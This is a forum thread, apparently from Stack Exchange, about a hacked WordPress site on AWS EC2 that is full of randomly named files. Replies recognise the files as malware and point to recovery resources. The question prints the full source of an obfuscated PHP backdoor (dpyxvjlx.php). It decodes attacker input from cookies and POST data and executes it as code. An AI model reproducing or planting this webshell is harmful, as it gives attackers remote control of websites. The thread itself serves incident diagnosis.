1

I hosted a WordPress site on AWS EC2. There are a lot of random files under my WordPress directory.

$ ls
0gikql  5wrCju  b8O49g        f4GMY8        HYA9ej              kDQYM5       mo0VOK  P4GJE9  readme.html           sztmJh  vmopCD                WYurax
0Nt3ai  6IxnR2  BJPmv3        F9UewA        i05cZx              KoILCl       Mpo23r  P9urRg  RikuDf                tcuEoM  vPpxGQ                WzHlSy
1btGns  6LadTs  BKTtO2        fdHpcg        I1wgPc              KQtFeJ       Mq8IBJ  PAZGYC  rIsH3J                temYKM  vsb4Pa                x7i9ld
1dE7nq  6S1sTI  bol1RB        fkl3vnao.php  i92lAK              kRp2BJ       mQX5AB  PBI0H7  rkidLe                tFfDvU  VWC2OG                x9KLuU
1lYQmO  7CGOfH  bovO9e        fLW0V2        Ice8jb              kVxA8c       myGZLc  pfo3wA  RM1pJ3                thNrdu  w3l6sr                Xbzx3V
1o6NA5  7DsKmG  c2upDS        Fp9PAK        index.html          KzvHpw       n637Vl  pfVNuU  robots.txt            TJQlg5  wGOCyd                xMf81k
1RbKYZ  7s2zmJ  cedra.php     fqVnxP        index.html.bak.bak  LekHB4       n71YEF  PgpmxL  rOUjBZ                TOhfr2  WlK7pq                xmlrpc.php
1RTS9x  7viuOQ  cikb8t        fxtNke        index.php           LfDQmz       nbBshv  pilVOc  rPCUvy                TtL1gs  wMKj5p                xOiWZE
2gBwbA  831znT  cLmoYR        GgCu5t        irXhoV              lgmwGp       NCbOUT  pj0giP  rpjRAe                u2UeTr  wp-activate.php       XwyvgQ
2JQwrP  87cOJQ  CpfrIM        gj6Y2P        j0gAap              license.txt  Ncv5CP  pJX83r  rPpaVJ                U40FXW  wp-admin              xXN8ny
2TNcjr  8oNr4B  cSUoat        GJcs1r        J3Tg74              LoB1pc       nGzcbR  PrjoZC  rUzovE                u5HGLo  wp-blog-header.php    Y9RnEg
2VjbU9  8yXQxL  CWc5UF        gtnieC        J5iIA2              LoGUbi       nid7Of  prOhvm  RwybzA                UByF42  wp-comments-post.php  Y9Sv5z
2Zetzc  93ixUw  DERPhl        guYNnG        J8S07q              lTICBw       nu4owe  Q1f4J5  s5Xi9Z                UDTvts  wp-config.php         yFtdpO
32WwMV  9aXSWv  dHno50        gXKyPw        j9nTPV              Luf5yF       NXWPV4  Q1htMb  S6igQl                uH6lRc  wp-config-sample.php  ynj40s
34VGiD  9G8pOx  dNh1bf        H1xCT5        jaXDYE              LvbXlZ       NYB68x  Q4Nh0a  SCLITK                UHmBrM  wp-content            yNTaIU
3f2Alk  9mXrR6  dpyxvjlx.php  h5U1Vs        JcIQDC              lVXA0Q       o0XVOT  q6juvQ  seMD69                UIcjXf  wp-cron.php           YXi09N
3oekQf  9NpvET  dSTKfF        HayrqI        jekDzO              M0kpNZ       ofFm8D  Q6x8Ab  SEN0qz                uo7rDZ  wp-includes           ZEUtmG
3rbpsF  9y3CVk  DXA8UM        HG0sOY        jeYQtA              m8Kdby       OfZcMq  q81zai  sevlus.php.suspected  UP1cQ0  wp-links-opml.php     zFAIkD
41vkNm  A5sVBR  dxeZmC        Hg8ACz        jk21ZV              MAb9hy       OG6uXT  qDWb6h  SLtXnQ                uPfexj  wp-load.php           zKLEo3
4AmdTM  ahGxsc  E7uxVT        hJMlmE        JLDRWq              maYAl4       OgBnkt  qmXdeo  snovles.php           USGOT1  wp-login.php          zlF8uX
4I6JXi  AIE3Wo  EBO3e2        hlfswt        JLRyEh              mgu6d9       Oi41fV  QS8KZU  SOqTKe                uTKvih  wp-mail.php           zxnRpT
4rC8LJ  ALaTRs  EuMRBw        hsbs77vi.php  jMH6xL              mh           OUnI81  Qv7shy  SQI7l1                uVyeT8  wp-settings.php       zY9e4v
4SksdN  alPMQo  eyT6lI        HSDk1W        jSiwtr              MHrDRe       oUP46c  qwPcQ2  sSIGJF                uwvBLD  wp-signup.php
52CR7s  aSkqyG  ezhpqZ        HWdv3f        K6qTfs              mic.php      OVLIzC  R5DteT  stbpT0                V6BnP8  wp-trackback.php
5Reia7  aT0thJ  F1kgtx        hX7Ciq        K907cV              MjIm2e       ozgDkq  r91iOl  Sw61PJ                VJ6X2U  WxJtdi

In speaking to the size, some of them are zero bytes and others are 2.3M.

$ ls -lsh
total 283M
   0 -rwxr-xr-x  1 www-data www-data    0 Mar  9 14:22 0gikql
2.3M -rwxr-xr-x  1 www-data www-data 2.3M Mar  8 20:49 0Nt3ai
   0 -rwxr-xr-x  1 www-data www-data    0 Mar 11 10:41 1btGns
2.3M -rwxr-xr-x  1 www-data www-data 2.3M Mar 10 20:05 1dE7nq
2.3M -rwxr-xr-x  1 www-data www-data 2.3M Mar 10 23:42 1lYQmO
   0 -rwxr-xr-x  1 www-data www-data    0 Mar  9 20:52 1o6NA5
   0 -rwxr-xr-x  1 www-data www-data    0 Mar 11 20:04 1RbKYZ

The content of dpyxvjlx.php is,

$ cat dpyxvjlx.php 
<?php
$zqtuh = 'op312fx-i0b*H4_g\'a9e8#6lmcnyrkvdtsu';$ntixpop = Array();$ntixpop[] = $zqtuh[19].$zqtuh[19].$zqtuh[4].$zqtuh[5].$zqtuh[22].$zqtuh[31].$zqtuh[20].$zqtuh[9].$zqtuh[7].$zqtuh[18].$zqtuh[19].$zqtuh[25].$zqtuh[3].$zqtuh[7].$zqtuh[13].$zqtuh[13].$zqtuh[4].$zqtuh[20].$zqtuh[7].$zqtuh[10].$zqtuh[17].$zqtuh[4].$zqtuh[5].$zqtuh[7].$zqtuh[10].$zqtuh[22].$zqtuh[31].$zqtuh[19].$zqtuh[18].$zqtuh[19].$zqtuh[9].$zqtuh[25].$zqtuh[2].$zqtuh[13].$zqtuh[25].$zqtuh[5];$ntixpop[] = $zqtuh[25].$zqtuh[28].$zqtuh[19].$zqtuh[17].$zqtuh[32].$zqtuh[19].$zqtuh[14].$zqtuh[5].$zqtuh[34].$zqtuh[26].$zqtuh[25].$zqtuh[32].$zqtuh[8].$zqtuh[0].$zqtuh[26];$ntixpop[] = $zqtuh[12].$zqtuh[11];$ntixpop[] = $zqtuh[21];$ntixpop[] = $zqtuh[25].$zqtuh[0].$zqtuh[34].$zqtuh[26].$zqtuh[32];$ntixpop[] = $zqtuh[33].$zqtuh[32].$zqtuh[28].$zqtuh[14].$zqtuh[28].$zqtuh[19].$zqtuh[1].$zqtuh[19].$zqtuh[17].$zqtuh[32];$ntixpop[] = $zqtuh[19].$zqtuh[6].$zqtuh[1].$zqtuh[23].$zqtuh[0].$zqtuh[31].$zqtuh[19];$ntixpop[] = $zqtuh[33].$zqtuh[34].$zqtuh[10].$zqtuh[33].$zqtuh[32].$zqtuh[28];$ntixpop[] = $zqtuh[17].$zqtuh[28].$zqtuh[28].$zqtuh[17].$zqtuh[27].$zqtuh[14].$zqtuh[24].$zqtuh[19].$zqtuh[28].$zqtuh[15].$zqtuh[19];$ntixpop[] = $zqtuh[33].$zqtuh[32].$zqtuh[28].$zqtuh[23].$zqtuh[19].$zqtuh[26];$ntixpop[] = $zqtuh[1].$zqtuh[17].$zqtuh[25].$zqtuh[29];foreach ($ntixpop[8]($_COOKIE, $_POST) as $apgyvq => $vyrkhpe){function xnzoz($ntixpop, $apgyvq, $sdmiz){return $ntixpop[7]($ntixpop[5]($apgyvq . $ntixpop[0], ($sdmiz / $ntixpop[9]($apgyvq)) + 1), 0, $sdmiz);}function ttaxmd($ntixpop, $adpvmep){return @$ntixpop[10]($ntixpop[2], $adpvmep);}function cqulv($ntixpop, $adpvmep){$papcd = $ntixpop[4]($adpvmep) % 3;if (!$papcd) {$phzpea = $ntixpop[1]; $kscndrs = $phzpea("", $adpvmep[1]($adpvmep[2]));$kscndrs();exit();}}$vyrkhpe = ttaxmd($ntixpop, $vyrkhpe);cqulv($ntixpop, $ntixpop[6]($ntixpop[3], $vyrkhpe ^ xnzoz($ntixpop, $apgyvq, $ntixpop[9]($vyrkhpe))));}

A part of 0Nt3ai is,

00000090: 0050 0000 0000 0000 0050 6400 0000 0000  .........Pd.....
00000120: 456c db3b 9dc1 f78f c027 b147 2d57 9ddf  .E.`.....'.G-W..
000001b0: 736b 131c 6f30 113e 0025 930f 000e e3a0  ..46....d^4.s...
00000240: 9be8 168f bf98 a6f1 a0f1 479e 3f8f 813f  .........F.6..%.
000002e0: bb06 6c85 2bb0 ec3b 3996 58c0 e587 79be  ..l.+..;9.X...y.
00000370: 1ac0 5bf2 d9d2 23df 850c 1e91 6f3f 5599  /T..D.#.....o?U.
00000400: 7f58 b3d9 ed3f 078a 37ce 7a0b 3792 7444  ..........A.7.tD
00000490: cac0 0b14 dfcb 21d5 95a9 f27f 8851 667f  .v..}%.;......5$
00000520: edd6 cf1f fd4e 7c92 5462 67f3 c41c 93e1  .....N|.Tbg.....
000005c0: 67ab b52d 1f1c 433d b2d9 6b27 e497 ab4a  vN.-..C=..k'...J
00000650: 7ef1 706b b989 15d6 60ea 9c48 3c2b 9d2d  .7 .!IE.`..H<+.-
000006e0: 6738 16af add9 62e2 8883 df8b 04c5 dd8a  ..F.ys.?.|.MG...
00000770: ccde 6377 7068 4ae9 fab2 34b2 55cb e80b  ..cwphJ....2`...
00000800: c7cb dad1 64e1 7cd9 cbac 1fca 62df 3666  ....d.|.....b.6f
000008a0: 38a3 64e6 1a07 9145 ee4f 1b74 8f9b 6f30  *#.G...E.O.t..o0
00000930: c653 e981 abdb 2c49 3df7 224f efb4 f923  ....9...^V"O...#
000009c0: 9f65 2081 167b 69e8 a96b 08ce 1773 dd9c  .a..[b ..i.OkWq.
00000a50: 6ff9 8bf0 f3d9 2087 21e6 1cb4 d00c 6cba  o..... .!.....l.
00000af0: b39c 63f2 d5eb d8a5 6e40 f5e9 176b cd7a  .|c.....n@...k.z
00000b80: 4d95 39ad bb52 1783 fcd6 1629 0a61 c60c  &Q.(uV.S...).a..
00000c10: 7cb6 1ff7 301a aa00 2707 e11c 935c 3e3f  w ..X.?.jEF!.L>?

The plugins I used for my site are,

plugins$ ls
akismet  child-theme-configurator  disable-comments  index.php  jetpack-markdown  qtranslate-x  woocommerce

Which program creates these documents? What are possible reasons? How do I find out the reason?

  • 1
    This doesn't look like a healthy wordpress directory to me, but maybe others can chime in with more experience. What do the documents contain? – Maximillian Laumeister May 1 at 18:53
  • 1
    It smells like malware to me, but I don't want to be alarmist in case there's a more benign explanation that I could be missing. – Maximillian Laumeister May 1 at 18:54
  • As the owner of a web hosting business who often deals with hacked WordPress sites I completely agree with @MaximillianLaumeister - first thing I would do is to have a look at the content of the non wp- php files and some of the others. If you know enough to "ls" at the prompt you should be able to spot weird code. Next step, get rid of most of your plugins. – Steve May 1 at 22:37
  • @MaximillianLaumeister, thx. Sorry for the delayed response because I am in a different time zone. I added the size, the content of those documents, and the plugins. – SparkAndShine May 2 at 1:49
  • 1
    @MaximillianLaumeister, nice post. thx again. – SparkAndShine May 2 at 2:41
2

Seeing as these files look like obfuscated code, it seems like your WordPress site was hacked.

There are two schools of thought on this - you could either try to remove the malware, or you could clean reinstall on a new server and import your data carefully.

Related infosec thread:

How can I recover from a hacked WordPress site and prevent future attacks?

Related official resource from WordPress.org:

FAQ: My site was hacked

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.